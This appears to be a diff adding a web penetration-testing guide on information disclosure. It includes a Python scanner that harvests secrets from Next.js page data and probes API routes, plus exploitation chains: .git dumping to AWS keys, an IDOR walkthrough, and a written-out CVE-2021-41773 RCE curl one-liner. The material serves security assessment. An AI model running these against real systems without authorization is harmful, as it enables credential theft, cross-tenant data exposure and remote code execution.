652
+ import re, json, ssl, argparse
653
+ from urllib.request import urlopen, Request
654
+ from urllib.error import HTTPError
655
+ from urllib.parse import urljoin
656
+
657
+ ctx = ssl.create_default_context()
658
+ ctx.check_hostname = False
659
+ ctx.verify_mode = ssl.CERT_NONE
660
+ UA = "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36"
661
+
662
+ SENSITIVE_KEYS = [
663
+ "token", "secret", "key", "password", "auth", "apiKey", "accessToken",
664
+ "refreshToken", "sessionToken", "csrfToken", "userId", "accountId",
665
+ "internalId", "adminId", "role", "permissions", "email", "phone",
666
+ "ssn", "creditCard", "cardNumber", "cvv",
667
+ ]
668
+
669
+ def fetch(url):
670
+ try:
671
+ req = Request(url, headers={"User-Agent": UA, "Accept": "text/html,*/*"})
672
+ resp = urlopen(req, context=ctx, timeout=15)
673
+ return resp.read().decode(errors='replace'), resp.headers
674
+ except Exception as e:
675
+ return None, None
676
+
677
+ def extract_next_data(html):
678
+ match = re.search(r'<script id="__NEXT_DATA__" type="application/json">(.+?)</script>', html, re.DOTALL)
679
+ if match:
680
+ try:
681
+ return json.loads(match.group(1))
682
+ except Exception:
683
+ return None
684
+ return None
685
+
686
+ def find_sensitive_values(obj, path="", findings=None):
687
+ if findings is None:
688
+ findings = []
689
+ if isinstance(obj, dict):
690
+ for k, v in obj.items():
691
+ full_path = f"{path}.{k}" if path else k
692
+ if any(sk.lower() in k.lower() for sk in SENSITIVE_KEYS):
693
+ if v and isinstance(v, (str, int)) and str(v) not in ("null", "undefined", ""):
694
+ findings.append({"path": full_path, "value": str(v)[:100]})
695
+ find_sensitive_values(v, full_path, findings)
696
+ elif isinstance(obj, list):
697
+ for i, item in enumerate(obj[:10]):
698
+ find_sensitive_values(item, f"{path}[{i}]", findings)
699
+ return findings
700
+
701
+ def discover_api_routes(base_url):
702
+ """Probe common Next.js API routes."""
703
+ common_routes = [
704
+ "/api/auth/session", "/api/auth/csrf", "/api/auth/providers",
705
+ "/api/user", "/api/me", "/api/profile",
706
+ "/api/config", "/api/settings",
707
+ "/api/health", "/api/status",
708
+ "/api/v1/me", "/api/v1/user",
709
+ "/api/v2/me", "/api/v2/user",
710
+ "/_next/data/", "/__nextjs_original-stack-frames",
711
+ ]
712
+ found = []
713
+ for route in common_routes:
714
+ url = base_url.rstrip("/") + route
715
+ try:
716
+ req = Request(url, headers={"User-Agent": UA, "Accept": "application/json"})
717
+ resp = urlopen(req, context=ctx, timeout=8)
718
+ content = resp.read()
719
+ if len(content) > 10:
720
+ found.append({"route": route, "status": resp.status, "size": len(content), "preview": content[:150].decode(errors='replace')})
721
+ except HTTPError as e:
722
+ if e.code not in (404, 405):
723
+ found.append({"route": route, "status": e.code, "size": 0, "preview": ""})
724
+ except Exception:
725
+ pass
726
+ return found
727
+
728
+ parser = argparse.ArgumentParser()
729
+ parser.add_argument("--url", required=True)
730
+ parser.add_argument("--crawl-pages", nargs='*', default=["/", "/login", "/dashboard", "/account", "/settings"])
731
+ args = parser.parse_args()
732
+
733
+ base = args.url.rstrip("/")
734
+ all_next_data = {}
735
+
736
+ for page in args.crawl_pages:
737
+ url = base + page
738
+ html, headers = fetch(url)
739
+ if not html:
740
+ continue
741
+
742
+ next_data = extract_next_data(html)
743
+ if next_data:
744
+ print(f"\n[+] __NEXT_DATA__ found on {page}")
745
+ print(f" Build ID: {next_data.get('buildId', 'N/A')}")
746
+ print(f" Page: {next_data.get('page', 'N/A')}")
747
+
748
+ sensitive = find_sensitive_values(next_data)
749
+ if sensitive:
750
+ print(f" [SENSITIVE VALUES]")
751
+ for s in sensitive:
752
+ print(f" {s['path']}: {s['value']}")
753
+
754
+ # Extract query/props
755
+ props = next_data.get("props", {})
756
+ page_props = props.get("pageProps", {})
757
+ if page_props:
758
+ print(f" pageProps keys: {list(page_props.keys())[:20]}")
759
+
760
+ all_next_data[page] = next_data
761
+
762
+ # Also look for embedded JSON state in other script tags
763
+ json_blobs = re.findall(r'<script[^>]*>\s*window\.__(?:STATE|INITIAL_STATE|STORE|DATA)__\s*=\s*({.+?})\s*;?\s*</script>', html, re.DOTALL)
764
+ for blob in json_blobs:
765
+ try:
766
+ state = json.loads(blob)
767
+ sensitive = find_sensitive_values(state)
768
+ if sensitive:
769
+ print(f"[WINDOW STATE] Found on {page}")
770
+ for s in sensitive[:10]:
771
+ print(f" {s['path']}: {s['value']}")
772
+ except Exception:
773
+ pass
774
+
775
+ print(f"\n[*] Probing API routes...")
776
+ api_routes = discover_api_routes(base)
777
+ for r in api_routes:
778
+ if r["status"] == 200:
779
+ print(f"[+] {r['route']} -> {r['status']} ({r['size']}B)")
780
+ if r.get("preview"):
781
+ print(f" {r['preview'][:100]}")
782
+ ```
783
+
784
+ ---
785
+
786
+ ## Attack Surface
787
+
788
+ - Errors and exception pages: stack traces, file paths, SQL, framework versions
789
+ - Debug/dev tooling reachable in prod: debuggers, profilers, feature flags
790
+ - DVCS/build artifacts and temp/backup files: .git, .svn, .hg, .bak, .swp, archives
791
+ - Configuration and secrets: .env, phpinfo, appsettings.json, Docker/K8s manifests
792
+ - API schemas and introspection: OpenAPI/Swagger, GraphQL introspection, gRPC reflection
793
+ - Client bundles and source maps: webpack/Vite maps, embedded env, `__NEXT_DATA__`, static JSON
794
+ - Headers and response metadata: Server/X-Powered-By, tracing, ETag, Accept-Ranges, Server-Timing
795
+ - Storage/export surfaces: public buckets, signed URLs, export/download endpoints
796
+ - Observability/admin: /metrics, /actuator, /health, tracing UIs (Jaeger, Zipkin), Kibana, Admin UIs
797
+ - Directory listings and indexing: autoindex, sitemap/robots revealing hidden routes
798
+
799
+ ## Triage Rubric
800
+
801
+ - **Critical**: Credentials/keys; signed URL secrets; config dumps; unrestricted admin/observability panels
802
+ - **High**: Versions with reachable CVEs; cross-tenant data; caches serving cross-user content; .git with secrets
803
+ - **Medium**: Internal paths/hosts enabling LFI/SSRF pivots; source maps revealing hidden endpoints
804
+ - **Low**: Generic headers, marketing versions, intended documentation without exploit path
805
+
806
+ ## Exploitation Chains
807
+
808
+ ### .git → Credentials → Cloud Access
809
+ ```
810
+ 1. /.git/HEAD accessible → HTTP 200
811
+ 2. git_dump.py extracts objects, finds .env in commit history
812
+ 3. .env contains: AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY
813
+ 4. aws s3 ls → lists all customer buckets
814
+ 5. CVSS: Critical (9.8) — unauthenticated cloud takeover
815
+ ```
816
+
817
+ ### Source Map → Hidden Admin Endpoint → Auth Bypass
818
+ ```
819
+ 1. JS bundle contains: //# sourceMappingURL=main.js.map
820
+ 2. sourcemap_extract.py finds /admin/users route in source
821
+ 3. Route is not in OpenAPI docs — undocumented
822
+ 4. No authorization check on that route
823
+ 5. CVSS: High (8.8) — unauthorized admin access
824
+ ```
825
+
826
+ ### Version Disclosure → CVE → RCE
827
+ ```
828
+ 1. Server: Apache/2.4.49 (from header)
829
+ 2. CVE-2021-41773: Path traversal + RCE
830
+ 3. curl -s "https://target.com/cgi-bin/.%2e/.%2e/.%2e/bin/sh" -d "echo;id"
831
+ 4. uid=daemon → RCE confirmed
832
+ 5. CVSS: Critical (9.8)
833
+ ```
834
+
835
+ ### NEXT_DATA → Internal ID → IDOR
836
+ ```
837
+ 1. __NEXT_DATA__ on /dashboard contains userId: "usr_12345abc"
838
+ 2. Also exposes organizationId: "org_67890xyz"
839
+ 3. GET /api/orgs/org_67890xyz/members → returns all org members
840
+ 4. GET /api/orgs/DIFFERENT_ORG_ID/members → also returns data (IDOR)
841
+ 5. CVSS: High (7.5) — cross-tenant data exposure
842
+ ```
843
+
844
+ ## Testing Methodology
845
+
846
+ 1. **Run sensitive_scan.py** — covers DVCS, configs, backups, API schemas, debug endpoints
847
+ 2. **Run js_secret_scan.py** — covers JS bundles without source maps
848
+ 3. **Run sourcemap_extract.py** — extracts full source where .map files are accessible
849
+ 4. **Run nextjs_extract.py** — specific to Next.js targets
850
+ 5. **Run git_dump.py** if `/.git/HEAD` returns 200
851
+ 6. **Correlate**: versions → CVE, paths → LFI/RCE, keys → cloud access, schemas → auth bypass
852
+
853
+ ## Validation
854
+
855
+ 1. Provide raw evidence (headers/body/artifact) and explain exact data revealed
856
+ 2. Determine intent: cross-check docs/UX; classify per triage rubric
857
+ 3. Attempt minimal, reversible exploitation or present a concrete step-by-step chain
858
+ 4. Show reproducibility and minimal request set
859
+ 5. Bound scope (user, tenant, environment) and data sensitivity classification
860
+
861
+ ## False Positives
862
+
863
+ - Intentional public docs or non-sensitive metadata with no exploit path
864
+ - Generic errors with no actionable details
865
+ - Redacted fields that do not change differential oracles
866
+ - Version banners with no exposed vulnerable surface and no chain
867
+ - Owner-visible-only details that do not cross identity/tenant boundaries